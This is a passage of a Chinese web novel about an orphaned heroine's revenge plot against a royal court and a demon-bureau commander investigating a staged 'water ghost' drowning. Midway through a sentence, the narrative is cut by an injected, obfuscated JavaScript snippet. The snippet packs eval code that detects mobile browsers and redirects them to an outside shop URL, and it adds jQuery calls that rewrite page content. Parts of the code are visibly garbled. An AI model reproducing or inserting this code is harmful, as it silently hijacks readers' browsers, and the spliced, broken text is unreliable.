就让他们皇家自己去窝里斗吧,皇伯父,我要让你亲眼看着自己的儿子与儿子之间相互争斗,权力可真是个好东西,自古以来,为了这个王位,流血牺牲之人可不少,就连你的王位也是从自己的哥哥手中抢过来的,你忘了吗? 人为财死,鸟为食亡,那么出生在皇家的这些皇子们呢?有谁不想到那个王位上去坐一坐。 ...... 张将军府,张勇正在书桌旁看着兵书,还有一个半月,太子即将与女儿芝芝成婚,这段时间,前来恭贺的朝中官员们数不胜数,张勇知道,他们背地里冷嘲热讽,觉得张家能够与皇家联姻,而且此人还是太子,真是祖辈显灵。 表面上看上去,张家与太子联姻确实是获得了实质上的好处,可背地里,张勇知道,这份荣耀的背后,可不是他们这种普通的家庭能够攀附得起的。 他并不想把女儿芝芝嫁进皇家,可是圣旨以下,此事断无挽回的机会,这一年以来,张勇头上的白发增添了不少。 当初宁王把自己的妹妹嫁给了自己最信任的兄弟,可最后结果呢?宸贵妃被赐死,宁王被自己最信任的兄弟残忍的杀害了。 这十几年来,张勇退居幕后,就是因为他的心始终过不了这关,宁王对他有知遇之恩,但最后却落了一个叛国的罪名,可他明明知道真相,却无法替宁王伸冤,只能默默的把这份恩情藏在心底。 甚至连光明正大的祭拜都做不到,难道今日芝芝嫁给太子,是上天对他的惩罚?张勇打开暗室之门,从里面拿出一个牌位,点上三炷香,朝着灵位祭拜。 “王爷,请恕属下无能,属下无法替你伸冤,希望你在天之灵,能够安息。” “当年,宁王府发生惨案那天,属下曾经去找过世子与小姐,但回来的人都说,世子和小姐都葬身火海,是属下无能,属下没有保护好王爷的血脉。”张勇盯着牌位冥思苦想了许久,那一天,火光四溢,染满了半边天。 “张将军要是觉得心怀愧疚,就应该把你所知道的事情说出来,而不是像个缩头乌龟般,藏着掖着,天天对着一张死人的牌位忏悔,也没什么意思。” 雪微屏住呼吸,藏在房顶已久,她早就来了,只是想看看这位张副将,如今到底是站在那一边。 从她入京的第一天起,雪微就对爹爹以前的那些下属们进行了观察,除了那些死的死,抄家的抄家,流放的流放,剩下还能够在京城之中为官的那几个并不多。 有几个为了活命分别选择了投靠其他几个势力,而像张将军这般,谁也不靠,在朝中只会惨遭打压的也就只有他一个。 好在张将军与爹爹之间来往并不是很密切,所以即使是查,也并未查到他的头上。 “谁,是谁在那里说话,出来。” 张勇脸色深沉,浑身紧绷,双眸之中闪烁着丝丝杀意,毕竟是在战场上呆久了的人,听到一点风吹草动,就如同机警的野兽般,浑身警觉。 “出来。” 雪微从一旁的暗柜处走了出来,直视着张将军的双眼:“在府里私自祭拜叛国罪臣,要是被人知道了,可是砍头灭族的大罪,张将军,难道不怕吗?” “怕,老子久经沙场,还不知道什么是怕。” 他眼眸深沉,在幽暗的角落里,静静的站立着,死死的盯着雪微:“小子,你年轻气盛,这个地方可不是你能够乱闯的。” 目光犀利,眼底闪现一丝狠辣,确实是久经沙场的将士,不过,这还不够狠。 “奥。”雪微笑了笑,环顾四周道:“这里,我不就闯进来了吗?” “我不仅闯了进来,还发现了一个大的秘密。”雪微指着张勇背后的牌位,“张将军,你在这里偷偷摸摸的祭拜,不就是不想让人知道吗?” “我告诉你一个秘密,只有死人才不会说话。” “小子,你我本无仇,我也不想杀你,但是,你如果不死,明日死的就是这座府里上上下下几百口人的性命,你不要怪我,要怪就怪,你到处乱闯,看见了不该看见的东西。” 漆黑的暗室,只剩下牌位前的两只烛火在摇拽,张勇拔出大刀,正准备朝着雪微砍来,一阵阴风袭过,雪微运指如风,迅若闪电,张勇瞬间便被定住。 “你到底想做什么?”此人看上去并不打算杀了他,要不然刚才就可以直接下手,而且她的武功高强,点穴的手法也从没有见过,她到底是谁,又想做些什么? 张勇正感到疑惑不解时,雪微说道:“你是不是感到很疑惑,很想知道我今日为何找你?” “废话。”张勇心里想了想,他沉默不语,一副想杀就杀的表情,人固有一死,别想从我的口中探听出任何事情。 “十几年了,还是这么顽固。” 雪微摇了摇头,在她小的时候,曾经见过这位张将军,当时,他还不是将军,不过那个时候就早有耳闻,这位张将军此人非常的固执,所以很少有人与之打交道。 “张勇,当年宁王对你有提携之恩,你明知道他是被人冤枉的,为何眼睁睁的看着宁王府三百多口人命一夜之间被屠杀殆尽,而不动于衷。” 雪微看着张勇那张面色沉稳的侧脸,果真是在战场上厮杀多年的老兵,不管面对何种情况,都能镇定自若。 “你没有心吗?眼睁睁的看着三百多口人惨死在你的眼前,真的一点恻隐之心都没有吗?”本只想吓吓他,但见他对往事只字不提,雪微也没有任何办法。 既然宁王的事情说动不了你,那么你亲生女儿的事情呢?雪微相信,眼前看似冷血无情的张将军不会是一个冷血无情之人,要不然,当年,他直接投靠国舅爷不是更好吗? 何必费这么个功夫,还惨遭打压。 雪微冷笑:“听说你的女儿张芝芝下个月就要与太子联姻了,恭喜你啊,张大将军,攀上太子这个高枝,以后前途无可限量。” 听到关于芝芝的事情,张勇心中总是有些波澜不惊,他已经年过半百,就这么一个女儿,可是老天爷为何偏偏就不放过他们父女两。 “我们到底得罪了谁?这人难道是想打芝芝的注意,她到底想干些什么?”张勇心里觉得有些忐忑不安,芝芝为了张家已经牺牲太多了,如果最后连她的安全都无法保证,那是我这个做父亲的失败。 “此事与芝芝无关,你想要报仇,就冲着我来吧。”张勇心里大概是明白了,今日这人是来为宁王报仇了,他等这一天已经等了十三年了,既然逃不开,那就迎面而上吧。 雪微摇了摇头,“还不够。” “那你想怎么样?”张勇心中恐慌,极力解释:“我没有害过宁王,宁王叛国案也与我无关。” “我知道。” 雪微沉吟道:“要是与你有关,今日你就不会活到现在了。” 毕竟在很久以前,雪微就已经间接杀了那些背叛父亲,残害族人的那些小虾米。 “别动我女儿,你 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“张将军,你不相信我。”雪微表现得十分淡定,张勇不相信也实属正常,毕竟,这门亲事是王上亲自下达的,如果不是王上突然改变主意,这门亲事就会一直做数。 雪微拍了拍张勇的肩膀,便扬长而去:“张将军,等着我的好消息吧。” 这人可真是奇怪,来无影去无踪,大老远来到这里就是为了告诉他,阻止将芝芝嫁给太子? 张勇摇了摇头,突然发现自己身上的穴道以解,他活动活动了筋骨,年纪大了,站久了,小腿处就会隐隐发胀。 他掀开裤腿,一道伤口狰狞的出现在他的眼前,那一年,他与宁王在一起并肩作战,这道伤口是为宁王挡下了一刀,张勇脑海中永远都记得,后来宁王背了他一路。 一个将军把战士的性命看得如此之重,这样的人,居然被诬陷叛国,张勇心中极为讽刺的笑了笑,这样的王朝,凭什么要我们这群人去拼命的为其效忠。 而如今,他却要眼睁睁的看着自己的女儿跳入火坑,却无力去对抗,真是讽刺。 张勇朝着雪微离去的方向沉默了许久,真希望你能够做到。 ...... “少宫主,据太子府里的探子回禀,太子已经收到了信件,而且亲眼看着太子打开看了。”锦瑟站在一旁,细细道来。 “太子有何表现?” “震怒。” “好啊,好戏终于要开场了。”早就听闻太子与王后以及二皇子不对付,如今,又掌握了王后害死自己母后的证据,能够不动怒吗? 至于这些证据,当然是雪微按照王后与国舅爷来往的信件一笔一画伪造的,当年,你们这些人可以伪造信件诬陷爹爹叛国,如今,雪微也使用了同样的手法,天道轮回,这就是报应。 就让你们这群人去斗争吧,雪微每每想到这种画面,心中就觉得欣慰。 “沈雨菲,你不是一直很希望太子成为王上吗?我就让你睁大眼睛好好看看,亲眼看着自己的希望破灭,有我在,你成不了王后。” “少宫主,还有一事。”锦瑟有些紧张,不知该讲不该讲,她心里犹豫了许久。 “什么事?” “顾炳春,死了。” “顾炳春死了?”雪微问道:“顾盼呢?” “顾盼,不知所踪。”这就是锦瑟一直担心的这点,怕少宫主知道顾盼失踪了,心里担忧。 她掏出一封信件递给雪微:“属下在顾盼的房间的桌子上面,发现了这封信。” 雪微打开信封,掏出信看了一眼。 顾盼:“小姐,多谢你的收留,如今,我的仇已经报了,留在这里怕是只会妨碍到小姐,所以,我想了一晚,决定不给小姐惹麻烦了,我选择了离开。我知道小姐有更重要的事情要做,我不想成为小姐的拖累,如果以后,小姐有需要我的地方,就到丹阳县找一个叫大春的人。” 看到这封信上的内容,雪微浅浅笑了笑,然后便把这封信给烧了。 “顾炳春是怎么死的?” “听说是被水鬼拽下水里淹死的。” “淹死的?”雪微想起了顾盼说自己的家人被顾炳春追杀落水一事,果真是天道轮回,报应不爽。 “顾炳春死了,顾府那边怎么样?” 锦瑟道:“顾府现如今一团乱麻,今早天还未亮,就赶紧找了一群道士到府里进行驱鬼,坊间传言,顾府顾老爷肯定是做了什么见不得光的亏心事,要不然,为什么鬼偏偏赖上了他们家。” “顾炳春死了,顾府就不用再继续监视了。” “是。” 雪微摇了摇头,顾盼终究还是心软了,只杀了顾炳春一人,并未对其家人与子女造成任何的伤害。 34. 悬案 镇妖司陆邈听闻,觉得此事大为蹊跷,被水鬼拽入水中淹死了?以他多年的断案生涯,被水鬼拉入水中淹死的,什么闹鬼一事根本都是子虚乌有。 鬼界与人界并不相通,通常一个正常人是见不到孤魂野鬼的,更何况被孤魂缠身这种说法,简直就是无稽之谈。 如果人人都可以见到鬼,那三界岂不是乱套了。 他带着几名修士来到了陆府,还未进门,大老远就听见陆府道士正在念经,以及府周围围满了一圈看热闹的百姓。 “让让,让让......” 陆邈大步朝着顾炳春的棺木走去,只见顾炳春静静的躺在棺木之中,但脸色僵硬,确实是见到什么让他觉得害怕的东西。 “陆大人,你想做什么?”顾夫人看着陆邈正准备伸手去拨动顾炳春的尸身,脸色微变。 “我家老爷与你没有什么恩怨,如今人已经逝去,陆大人为何还要扰他安宁?”顾夫人说着说着,眼泪汪汪的,她想上前阻止,余光扫了一眼陆邈腰上挂着的那柄大刀,心底忐忑不安。 “难道老爷身前与这位陆大人有仇?” 顾夫人转念一想:“虽然同在朝中为官,但他们完全不在一个部门,老爷怎么会得罪这位鬼面修罗呢?” 陆邈翻了个白眼,似乎觉得此人有些麻烦,事多,他很烦这种事多的女人,所以这也是他不曾娶妻的原因之一。 看着顾府这么多的夫人姨娘,哭哭啼啼的,陆邈心中觉得烦闷,只想快点检查完顾炳春的尸身,看看到底是怎么回事。 人虽然死了,但不代表死人不会说真话。 陆邈掀开顾炳春的衣服,左右翻转了会,仔细瞧了瞧尸身,身上没有任何的伤痕,确实是溺水而亡,他正仔细观察着,此时,一道细细的划痕出现在陆邈的眼中。 他对此很熟悉,这是一个女子指甲不经意间的划痕。 看到此划痕,他笑道:“果真如我所想,根本就不是什么被水鬼缠死的,而是被人拖入水中,被淹死的。” “什么水鬼,我看真正的水鬼就是一名女子假扮的。”陆邈心中细细想了想,然后转头,朝着那群妇人看去,横扫一眼,一个个都哭哭啼啼的,脸色尽是哀伤,“凶手会不会就在这些人之中?” 他放下顾炳春的尸身,转过身来,对着这群女人冷声问道:“陆大人不是被水鬼杀死的,而是被人拖拽入水中,溺水而亡的。” 此话一出,在这群女子之中大为惊讶,“怎么可能?” 众人交头接耳,二姨娘说道:“顾大人是不是弄错了,我家老爷身前就被鬼缠身,这件事,府内的众人都知道,连青云道长都知道,怎么可能作假?” 她看着陆邈,质疑道:“难道顾大人说青云道长说的话是假话?” “青云道长说的是真是假,本官不知道,但是,顾大人确实是被人害死的,而且凶手还是一名女子。” “女子?陆大人莫不是说笑了吧,你是说一名女子把身高一米八几的老爷给拖入水中,那么请问陆大人,究竟是什么样的女子,有这么大的力气呢?能够活生生的把老爷溺死?”顾夫人眼中实在是有些不耐烦,她总觉得此人今日前来,是来捣乱的。 陆邈的言论在这群女人之中炸开了锅,“被害死的?” 五姨娘走上前来,“那么依陆大人所言,我家老爷是被谁害死的呢?” 陆邈再次对着这群女人扫了眼,顾夫人神色有些生气,喝声道:“陆大人,这玩笑闹够了吧,老爷被水鬼缠身,这是我们在场的所有人都见到的。” 她脸色煞白,每每想起当时的那个场景,浑身就哆嗦冒着冷汗,一个披头散发的白衣水鬼,从荷花池里冒出头来,紧接着,老爷看似受到了她的召唤般,一步一步的朝着荷花池走去,直到被溺水身亡。 这不是被鬼缠身是什么? “是啊。”三姨娘说道:“当晚,我们正路过荷花池,确实看见了水鬼拖拽着老爷往荷花池中央走去。” “我大声喊过老爷,但是,不知怎么,我的声音却始终都喊不出来。” “大人,你说这是凡人能够做得到的吗?” 陆邈看着这群女人一唱一和的,异口同声的认为顾炳春就是被水鬼拖拽水中溺死的,多年的经验直觉告诉陆邈,这群人一定有问题,她们到底在掩饰着什么? “杀死顾炳春的凶手就藏在你们这群人之中,难道你们不想知道真相,不想给顾老爷复仇吗?”陆邈再一次的扫了眼这群女人,总觉得奇怪,但是一眼看去,却没有任何奇怪之处,不知道是哪里不对劲。 “陆大人,念在你与老爷一起在朝为官的份上,今日这事,我就不予计较了,你走吧,不要打扰了我们为老爷祈福。”顾夫人神色沉稳,与刚才哭哭啼啼的柔弱女子判若两人。 “难道凶手是她?”陆邈心里暗自想了想:“这位顾夫人是兵部尚书胡尚书家的嫡女,如果凶手真的是她,她为何要这么做,很明显的,杀了顾炳春对她而言,没有一丝好处。” 陆邈左思右想,实在是没有什么头绪,他来到荷花池四周看了看,池水清澈见底,他跳入池中,以身测量了一番,池水只到了他的腰身上,这么浅的池水,按道理是淹不死人的,那么顾炳春又是怎么被溺死的呢? “顾大人之死,顾夫人都不追究,陆大人却偏偏死揪着不放。”温飞有些看不下去了,镇妖司内事务繁忙,哪有什么闲心去管别人家的事,可陆大人却一根筋,主人家自己都说是被鬼缠身,他倒好,偏偏喜欢掺合。 温飞翻了翻白眼,抱着剑身,站在一旁冷冷的看着,一动不动。毕竟陆邈是他的顶头上司,他也不好直言,只能站在一旁观看着。 往日都是萧乘风跟在他的身后,今日,那货不知怎么了,病了,听说病的还有些严重,都已经连续请了好几天假了,大少爷果真就是大少爷,不像我们这群人,即使是病了也得爬起来,没日没夜的干活。 温飞想到这里,心里不由得有些妒忌,果真家世好就是不一样,像他这种没权没势的人,只能靠自己拼命的往上爬,什么都得靠自己。 “走。” “大人,这里没什么发现?” 陆邈点了点头,确实没有什么发现,这座莲花池也只是一个普普通通的水池,他实在是想不通,这么浅的水,怎么能够淹死人? 但直觉告诉他,这位顾夫人总觉得她像是隐藏着什么,言语之中对顾老爷到底是怎么死的并不感兴趣,只是一味的肯定道:“顾炳春就是被水鬼拽入水中,溺水身亡的。” 她怎么就如此肯定顾炳春一定是被水鬼拽入水中淹死的呢?难道她还知道什么,又或者是看到了什么? “大人,不是我说的,顾府闹鬼一事在京城里已经传了半年已久了,早就传开了,要我说,就是这顾大人肯定是得罪了什么人,然后别人前来复仇了。”温飞心里极为不满,查了这么久,最后还是一无所获。 也不知陆邈是怎么想的,这摆明了就是一件吃力不讨好的事情,查出来了又能怎么样,说不定凶手早就跑得远远的了,难不成,别人还傻站着,等你来抓啊。 他摇了摇头,对这位陆大人的言行举止是越发的迷惑不解,难不成受萧乘风那货影响的,也是,他们师徒在镇妖司那可是横着走,谁敢得罪这两祖宗,那不是找死吗? 虽然私下里,大家心中早就已经怨声载道,觉得不公,但在官场,毕竟还是要顾忌一下。 陆邈道:“你说什么?” 温飞道:“闹鬼一事?” 陆邈继续道:“不是,下一句?” 温飞道:“得罪了什么人,复仇。” 陆邈面带笑容的看着温飞,似乎这一句话揭开了他心中所有的谜团:“我怎么就没有想到呢?顾炳春为官十几年,肯定得罪过不少人。” “谁会想着致他于死地,还是用这么复杂的方法。” “派人给我盯着顾府。” “是” 温飞一脸不情愿应声道。 “大人,我们要去哪里?”看着陆邈骑马往城外走去,温飞心中觉得惊讶,难道城外又发生了什么大事?需要劳烦陆大指挥? 一般镇妖司内的小事都是由手下几位得力干将随便打发了,除非是发生重大案件,自己解决不了,才会告知陆指挥使,请他出马摆平。 如今看这阵仗,温飞心里难免不多想,能够让陆指挥使亲自出马的事到底是什么大事? “去青云观找青云道长。” “青云观?”看来,陆大指挥使是和顾府闹鬼一事杠上了。 温飞心里虽然满不情愿,但谁叫陆邈是他的顶头上司呢?上司都发话了,自己怎么着也得装个样子呀。 今日忙活了一天了,温飞骑在马背上,心里还想着家里小娘子做好了香喷喷的饭菜,正等着他回家呢?谁曾想,又要被上司派来干活,他心里一阵唉声叹气。 他孤家寡人,自然是体会不了家里有娇艳的妻子正等着他回家吃饭的这种温馨的场景,温飞摇了摇头,无奈的叹了叹,不知是可怜还是同情。 “到了。” 陆邈与温飞双双下马,青云观还是如往常一样,人来人往,香火不断。 “在下是镇妖司陆邈,来找青云道长。”陆邈看着眼前的一个小道士,微微行礼。 小道士面不改色,丝毫不客气道:“青云道长可不是你想什么时候见就什么时候见的,你想要见他,得预约。” 小道士指着一旁站着的一条长长的队伍,说道:“他们都想见青云道长,你如果想要见,也可以学他们一样,去排队,等排到了你,自然就见到了。” “???” “什么鬼,要他去排队,在这京城之中,能够吩咐他的人只有王上,不曾想,如今,随便一个青云观的小道长都能够随随便便的指挥他。” 陆邈看了眼看不到尽头的队伍,心中有些微怒,一个破道观,如今香火也这么旺盛吗?这是吞了多少民脂民膏? 他刚才从门口进来,就已经关注到了这条排队的人群,他们手中都提着一个水果篮,那篮子遮得严严实实的。陆邈盯着看了一会,只见有一个人的篮子里装满了金锭,金光闪闪的,虽然只看了一眼,但陆邈心里大约就已经察觉出来了。 这哪是什么祈福,分明就是光明正大的收钱办事。 “温飞,去打听打听,这青云道长到底是什么来历。”陆邈心里来气,没想到,他头一次想见一个人,居然这么难。 “是,大人。”温飞一溜烟转身便跑了,刚才陆大指挥的脸色实在是不好看,差一点,温飞以为陆大指挥会发火,谁知道,他居然这么能忍。 想不到堂堂的陆大指挥使陆邈居然也有吃瘪的一天,心中想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892856|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,温飞就觉得好笑,他从未见到过陆大指挥使吃过亏,一般只有他叫别人吃亏的。 “哎,看来,青云道长怕是要大难临头了哟,得罪谁不好,偏偏得罪了这个鬼面修罗,他可不是什么省心的角色,凡是惹到他的人,最后都没几个有好下场的。” 温飞心里胆寒,为青云道长感到惋惜。 庆安王府,雪微正在裁剪花枝,锦瑟从一旁急匆匆的走了过来,俯身附在雪微耳旁细声说道:“属下已经按照少宫主的吩咐把陆邈引到了青云观,想必过不了多久,少宫主的心愿就能够实现了。” 雪微淡定的笑道:“还远着呢?我们切记不可掉以轻心。” “明白。” “你既然想要查顾炳春的案子,趟入这趟浑水,那你可别怨我把你拽入这泥水之中,溅得你满身泥。”雪微看着这些花花草草,想起了曾经有一人问过她:“如果还有来世,你想做什么?” “我想做一棵树。” 做人太累了,也太复杂了,雪微只想做一棵树,观人间百态。 为了复仇,雪微把自己活成了自己最厌恶的模样,勾心斗角,充满了算计,这样无光的日子她过了十三年之久,还不知道未来什么时候是个头。 “快了吗?”雪微心中感慨万千。 锦瑟点了点头:“快了,属下相信,少宫主一定会实现心中所想。” “可惜,心中所想并不一定是我想要的,我想要爹爹娘亲一直陪伴左右,我想要哥哥姐姐都活过来,我想要宁王府三百多口人都活过来......” “可惜,这些都只不过是我的奢望,造成今日这一切的那个人,如今还好好的活着,连一丝忏悔之心都没有。” “凭什么,我的家人就该死,凭什么,你们就可以活得高高在上。” 雪微抬头看了看天空,半空之中飞起了小雪花,“下雪了。” “是呀,再过一个月就开春了。”锦瑟好久没有看到少宫主这副哀伤的神情,也不知到少宫主又想到了什么难过的事,她低头叹了口气。 “下个月,太子就要成婚了。” 太子不算是个坏人,只不过是被沈雨菲利用了而已,而且先王后曾经对家父有恩,雪微断然不想把此事做绝,只要太子不再是太子,那么沈雨菲就会放弃他,到时候,随便被安排到哪个州郡做个闲散王爷,这辈子也就安稳无忧。 镇妖司,陆邈脸色铁青的坐在案台前拿起折子看了看,温飞看了眼萧乘风,示意他赶紧上来搭话,平常就他话最多,怎么今日,他突然变安静了不少。 温飞觉得萧乘风今日太奇怪了,也没多想,颤颤巍巍的站了出来:“大人,据属下所查,青云观青云道长暗中中饱私囊,已经敛取了不少财富,每一个祈福之人都收了黄金十锭。” “啪”的一声。 “黄金十锭?” “他怎敢,堂堂皇朝天子脚下,居然有此等败类,暗中中饱私囊。”陆邈扔掉手中的折子,十分气愤。 “大人这是怎么了?”温飞觉得陆指挥使今日的脾气似乎有点大,他侧头对着萧乘风低声问道:“大人今日是受了什么刺激?” 萧乘风也小声说道:“今日一早,王上就把陆大指挥宣入宫中,对着他好一顿责骂,具体的也不知道是为了什么事,反正从宫中回来之后,就变成这样了,在案台旁坐了许久,都一声不吭的。” “你怎么不早说呀,害得我......”难怪今早过来,镇妖司的气氛就觉得很奇怪,大家都闷不吭声的,温飞怎么也没有想到会是这种场面,要是知道,就会晚点回禀,至少也不会撞在这个节骨眼上。 “谁叫你老是迟到。” 温飞拍了拍大腿,心里十分后悔,早知道就不着急赶上前去当个显眼包了。 “走,去抄了那家伙的老巢。”陆邈一生气,整个镇妖司都跟着要抖上一抖。 温飞心里虽然极其不愿意,但也不想就这么得罪人吧,他走上前,拦住陆邈:“大人,青云观背后的势力可不简单,据说与宫里的国师有关,属下也是查了一夜,才查出来的。” “有确凿证据,证明与国师有关?”陆邈厉声。 “没有。”温飞胆战心惊,我本来只是一个小小打工的,怎么如今被安排上了炙火般的考验,每次面对陆邈如同把他架在火上烤,这鬼面修罗的代号,可是不谁都能够配得上的。 “既然没有证据,那就先去会会这个青云道长。” “陆大指挥,您说的是真的吗?属下可没有十锭黄金。”温飞一脸极不情愿,难到陆大指挥又要我出钱了,上次的喝酒钱就是我出的,这次可是十锭黄金呀,把我卖了都卖不了这个价钱。 “不,我是说不排队的办法。”陆邈想起要排那么长的队伍,心里就觉得烦躁。 这话一出,直接把温飞惊掉下巴,“不排队......不排队需要五十锭黄金。” 五十锭黄金可是他在镇妖司干一辈子都挣不来这些,温飞不敢想想,陆大指挥可真是大手笔啊,随口一说就是五十锭黄金。 “五十锭黄金。”陆邈笑了笑,“看来这可是条大鱼。” “你还是不要笑了,你的笑声可比地狱修罗还吓人,不,你就是修罗。”温飞心里思索了许久,咱们这位陆大指挥使笑起来可不是什么良善之辈,他只会扒皮抽筋,啃得连骨头都不剩。 35. 无奈 “萧乘风,取金子。”陆邈拍了拍温飞的肩膀,哈哈笑了一声道:“我知道你没有,所以这次不用你出。” 话刚说完,萧乘风就把五十锭金子递到了陆邈眼前。 “萧大公子,你要拍马屁,也避着点我呀,这让我情何以堪,全司都知道你萧大公子有钱,五十锭黄金,这够我赚十几年的了。”温飞心中苦笑,还真是说给就给啊。 萧乘风拍了拍温飞的肩膀,笑道:“走啦,发什么呆?” 人和人还真是天差地别,自从萧乘风来了以后,温飞可是见识到了,有钱能使鬼推磨。 “这是什么?”温飞见萧乘风递给自己一个小小的荷包,打开一看,一锭金子金闪闪的躺在荷包里,他默默的把这个荷包收好,这半年的饭钱总算是有着落了。 萧乘风歪头说道:“上次喝酒是你请的,这就当给你买酒喝了。” 这家伙,有一点好就是大方,对镇妖司内的所有人都很大方,所以跟大家的关系都处理的很好,司里有什么事,都会照顾着他。 温飞心里想了想,像萧乘风这种大少爷就算不来镇妖司去别的部门也会很受欢迎吧,毕竟,谁不喜欢天下掉下一个钱袋子呢? 萧乘风把装着五十金锭的盒子交给了小道长,小道长打开一看,脸色瞬间温和了下来,“三位大人是谁要见青云道长,如果是三位要同时见的话,需要......”他朝着他们三人伸出三个手指。 陆大指挥冷哼一声,自然明白小道长的言外之意,三个人就是三箱,也就是一百五十金锭,这货可真是贪得无厌,陆邈对此十分鄙夷,强忍着怒火说道:“我,你们二人去一旁等我。” “是。”温飞与萧乘风异口同声答道。 前几日刚下了场雪,雪不大,直到今日已经快融化了,萧乘风温飞二人找了块空地待着,道观到处都是人来人往的,他们也不想站在太显眼的地方,太过于引人注目。 “你说陆大指挥见青云道长到底想问些什么呢?”萧乘风开玩笑似的说道:“求神问卜,算命......” “该不会是给他自己算姻缘吧。” 温飞听完此话,心里冷笑:“就他这样,又整天待着一个鬼面,人不人鬼不鬼的,谁家会把自己的亲生女儿嫁给他呀,不是我吹的,要是我有女儿,我也不愿意。” “你怎么不说话呀。”萧乘风一个人自言自语,“怎么了,难道我说错了吗?” “废话。”温飞憋了半天冷声道。 “怎么废话了?”萧乘风一头雾水,陆大指挥至今都未成婚,但凡是个男子,成年之后都会成家立业,不成家何以立业? 冷风吹过,温飞长呼一口气,他被萧乘风问的有些烦躁:“你知道陆大指挥今年多大年纪吗?” 萧乘风摇了摇头,他来镇妖司才半年多,不知道,很正常,他问道:“陆大指挥今年多大年纪。” “不......知......道......” “连你也不知道?”萧乘风觉得有些惊讶,他不是在镇妖司干了快五年了吗?怎么连陆大指挥的年纪都不知道? “不仅我不知道,整个镇妖司内所有人都不知道,也从来没有人真正见过陆邈这个人究竟长什么样。”温飞不急不慢的说道:“这天底下,知道陆大指挥长什么样子的,只有圣上一人。” “你是说,只有圣上知道陆大指挥来自哪里,长什么样,多大年纪?”萧乘风再一次感到震惊,没想到堂堂的陆大指挥使,居然从来都没有人见到过他真正的样貌。 “是不是觉得匪夷所思。” 萧乘风点了点头:“确实匪夷所思。” 温飞笑了笑:“这实属正常,镇妖司指挥使只听命于圣上一人,如果被有心人知道了他的样貌,家世,那么他的家人也都会受到牵连,他得罪的人实在是太多了,这么做,实则是为了保护他。” 萧乘风转头一想:“你这么说也有些道理。” “也许他早已经成婚了,只是我们不知道而已。” “一看你就是没家室的人。”温飞懒得搭理萧乘风,“陆大指挥肯定没有成婚,他要是成婚了,会没日没夜的,甚至夜宿镇妖司吗?” “你不懂的,小屁孩,等你以后成家了就知道了。” 温飞每每想起自己的小娇妻做着一桌子香喷喷的饭菜在家里等着他归来,心里就无比温馨,他这种人,过的就是刀口舔血的日子,没想到上天待他不薄,娇娇居然愿意跟着他,这是他往常想都不敢想的。 “奥,我知道了,嫂子肯定在家里等你,是不是。”萧乘风一脸坏笑,“你们成婚多久了,有小孩不。” 论八卦的手段,萧乘风敢称第二,没人敢称第一。 温飞摇了摇头,真是个不谙世事的大少爷,但想起娇娇,心里还是有着一抹甜蜜:“她刚刚怀孕两个多月,大夫说要她好好休养。” “果真是要当爹爹的人了,眉眼里都透露着喜悦。”萧乘风站在一旁都感受到了来自温飞的幸福。 “看样子,嫂子对你很好,那你可不能辜负了嫂子。” “那是自然,娇娇跟着我在一起,可是吃了很多苦的,我自然不敢亏待她的。”温飞嘴角露出一抹微笑。 “走了。”陆邈一脸严肃,死气沉沉的站在二人身后。 “大人,打听出什么了?” 一看陆邈这模样,情况肯定不妙,温飞待在镇妖司快五年,自然知道陆邈此人的脾气,他虽然脾气古怪,但有一点,就是就事论事。 “那个......”陆邈冷哼一声:“五十金锭只换来区区两个时辰。” “就这,也配。” “虽然今日易容了一番,但看这身行头,他们必定会派人前去调查,至于青云观背后的金主是何人,派个人暗中跟着不就好了。”陆邈心里想了想,对着温飞使了一个眼色。 温飞自然是明白陆邈的眼色是什么意思,他们假装离去,温飞又暗自折返回来。 “大人,你叫温飞去监视他们,会不会......”萧乘风心里略微有些不安。 陆邈自然也看了出来,沉声道:“你有空担心别人,应该多担心担心自己,温飞的武功可比你好多了。” “大人......”萧乘风心里有些受伤,嘀咕道:“大人说话可真是一点情面都不给啊。” 二人回到城门口,陆邈转头对着萧乘风说道:“今日司内无事,你就先回去吧。” “是,大人。” 萧乘风看着陆邈策马离去的背影,摇了摇头,心中十分好奇,听陆大指挥的声音明明像是个少儿郎,可是为何做事却如此老练,他实在是想不明白。 ...... “废物。” 这几日夜间,十一经常做梦梦到了以前的那些事,梦中父王母后姐姐弟弟们对着他大声吼道,怒斥他不孝,不替他们复仇。 还说他是个废物,懦弱无能。 每每惊醒,十一都会看着床顶发呆许久,“骂得对,我不应该忘了你们的。” 距离上次和那个女人约定的日期到了,十一捡起一件黑色的袍子,随手穿了起来。 “这里是叶肃藏匿蛊人的位置,我已经完成了你的任务,剩下的就是你了。”他言语冷淡,即使这个女人曾经救过他,但是他们之间也只能是合作,在复国大业还未完成之时,任何的感情对他来说只不过是水中之月。 “我知道了。” 雪微也并未察觉出什么,从十一手中接过信件,打开看了看,然后烧了。 “答应你的事情,你放心,这个月月底你就会见到。” “月底,现在离月底也就十天了。”十一笑了笑,应声道:“好。” 他心里想了想:“我到要看看,你到底想要太子怎么死。” 太子死了,太子之位就会空出来,到时候,王上会封谁为太子呢? 二皇子? 他确实有最大可能当上太子之位,不过,王上对王后一直深有疑心,他真的会封二皇子为太子吗? 十一摇了摇头,不,二皇子至少在目前来说,是绝不可能成为太子的,要不然,整个朝堂之上就没有人能够与之抗衡了。 经过这一段时间的摸底,老三,整天游手好闲,喜欢八卦,母妃妃位太低,王上应该不会封他为太子的。 老四,虽然身上有军功在身,但母妃曾经是王后的陪嫁丫鬟,王后也不会同意让王上封他做太子,要不然,那丫鬟不骑在主子头上了。 宇文昌呢?就更加不可能了,京城出了名的游手好闲,纨绔子弟,这是十一专门给自己掩饰身份打造的。 老六死了,至于老七,远在漠北。 剩下的年纪都还小,王上会立谁为太子呢?十一心中很是好奇。 ...... 陆邈回到镇妖司,回想起青云道长与他的对话,神色十分不悦,原来,赫赫有名的青云道长居然是个神棍,这事要是让人知道了,还不得在京城内外引起轩然大波。 “听顾府顾夫人说过,道长曾经给顾府算过命,说顾大人被鬼魂缠身,可有此事?” 